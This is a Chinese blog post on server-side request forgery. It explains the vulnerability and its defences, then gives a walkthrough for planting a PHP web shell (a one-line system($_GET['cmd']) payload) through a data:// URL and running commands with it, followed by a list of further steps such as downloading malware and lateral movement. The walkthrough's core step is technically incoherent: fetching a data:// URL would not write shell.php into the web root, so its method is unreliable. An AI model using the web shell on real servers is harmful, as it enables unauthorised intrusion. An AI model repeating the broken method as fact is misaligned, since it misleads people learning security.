SSRF实现

最新推荐文章于 2024-10-02 15:25:42 发布

清源了了

最新推荐文章于 2024-10-02 15:25:42 发布

阅读量606

点赞数 20

文章标签：网络安全 web安全

本文链接：https://blog.csdn.net/weixin_66049874/article/details/141614405

版权

SSRF介绍：

SSRF (Server-Side Request Forgery) 是一种网络安全漏洞，攻击者利用此漏洞从易受攻击的服务器向其他服务器或服务发送请求。SSRF 攻击通常利用目标服务器上的应用程序具有发出请求的功能，例如 HTTP 请求。以下是 SSRF 的一些关键点：

SSRF 的工作原理

发出请求的能力: SSRF 攻击依赖于目标服务器能够发出网络请求（通常是 HTTP 请求）。应用程序通过用户输入或其他手段构造请求。
操控请求: 攻击者利用不当验证或过滤的输入来操控服务器发出的请求，通常是通过 URL 的形式。服务器可能会访问攻击者指定的任意地址，而不仅仅是预期的安全范围内的资源。
攻击目标: SSRF 攻击的目标可能包括内部系统（例如公司内部的管理接口）本地文件系统（通过文件协议访问）云服务元数据（例如 AWS 的 EC2 元数据服务）等。

SSRF 攻击的潜在风险

获取敏感信息: 攻击者可以访问内部网络资源或云服务元数据，获取敏感信息，如凭证、系统配置等。
执行任意操作: 如果目标应用具备特定的功能，攻击者可能操纵这些功能来执行任意操作，如发送电子邮件、执行数据库查询等。
绕过防火墙: SSRF 可以被用来访问受防火墙保护的内部网络资源，绕过网络边界防护。

SSRF 防御措施

限制外部请求: 应用程序应限制允许访问的外部资源，只允许白名单中的地址或域名。
输入验证与过滤: 过滤用户输入中的协议（例如，只允许 HTTP/HTTPS 协议），并对用户提供的 URL 进行严格验证。
网络隔离: 将应用服务器与内部系统或敏感资源进行网络隔离，避免直接网络访问。
使用 Web 应用防火墙 (WAF)**: 使用 WAF 可以检测和阻止潜在的 SSRF 攻击模式。

ssrf实现.SSH未创建写shell基本过程：

在渗透测试中，Server-Side Request Forgery (SSRF) 漏洞可以通过利用服务器发起请求访问内部网络或服务，甚至执行命令。在某些情况下，如果 SSH 访问未配置或无法创建 SSH 连接，我们仍然可以通过 SSRF 漏洞来写入一个 Web Shell，从而获取服务器的访问权限。这篇博客将展示如何利用 SSRF 漏洞来写入 Web Shell，并最终获得远程控制权限。

前提条件：

目标服务器存在 SSRF 漏洞：服务器可以通过用户输入来请求其他 URL。
服务器对文件系统的写入权限：需要目标服务器能够将请求的内容写入文件系统中。
能够通过 Web 访问写入的内容：写入的 Web Shell 文件可以通过浏览器访问执行。

环境设置：

假设我们有一个目标服务器，其上运行着一个易受攻击的 Web 应用程序。此应用程序接受一个 URL 作为输入并从该 URL 加载内容。例如：

http://vulnerable-app.com/fetch?url=http://example.com

`url` 参数是 SSRF 漏洞的利用点，我们将通过它来进行攻击。

SSRF 利用步骤：

确认 SSRF 漏洞的存在：

首先，我们需要确认目标应用是否存在 SSRF 漏洞。可以尝试使用 `curl` 命令或浏览器发送请求来访问内部资源，比如：

http://vulnerable-app.com/fetch?url=http://localhost

如果服务器响应内容来自 `localhost`，则表明存在 SSRF 漏洞。

探测服务器的写入位置

在利用 SSRF 写入 Web Shell 之前，需要确认服务器是否存在可以写入的目录。通常可以尝试访问 `/var/www/html` 或其他 Web 目录。如果服务器允许我们通过 SSRF 将数据写入这些目录，我们就可以利用该漏洞。

准备 Web Shell

Web Shell 通常是一个简单的脚本文件，允许攻击者远程执行命令。以下是一个常见的 PHP Web Shell 示例：

<?php system($_GET['cmd']); ?>

保存为 `shell.php` 文件。

利用 SSRF 写入 Web Shell

为了利用 SSRF 漏洞写入 Web Shell，我们可以通过请求带有 Web Shell 代码的 URL 来欺骗服务器将内容保存到一个可以访问的目录中。假设服务器能够将请求内容保存到 `/var/www/html` 目录，我们可以使用如下请求：

http://vulnerable-app.com/fetch?url=data://text/plain,<?php system($_GET['cmd']); ?>

这里，我们使用了 `data` 协议，它允许我们将原始数据作为 URL 提供。在这个例子中，我们将 PHP 代码作为数据传递。

访问 Web Shell

一旦 Web Shell 被写入目标服务器的 Web 目录，我们可以通过浏览器访问该脚本并执行命令。例如：

http://vulnerable-app.com/shell.php?cmd=whoami

这将执行 `whoami` 命令并返回结果。

进一步利用

通过 Web Shell，我们可以执行任意命令，进一步渗透目标服务器。

常见的操作包括：

        - 下载和执行恶意软件。
        - 获取系统信息。
        - 执行横向移动攻击。

安全措施

为了防止 SSRF 攻击，开发者和系统管理员应采取以下措施：

输入验证：对用户输入的 URL 进行严格的白名单验证，仅允许访问可信任的域名。
网络隔离：限制 Web 应用服务器与内部网络的通信能力。
禁用不必要的协议：禁用 `file://`、`gopher://` 等不必要的协议。
日志监控：监控服务器的请求日志以检测异常的内部请求行为。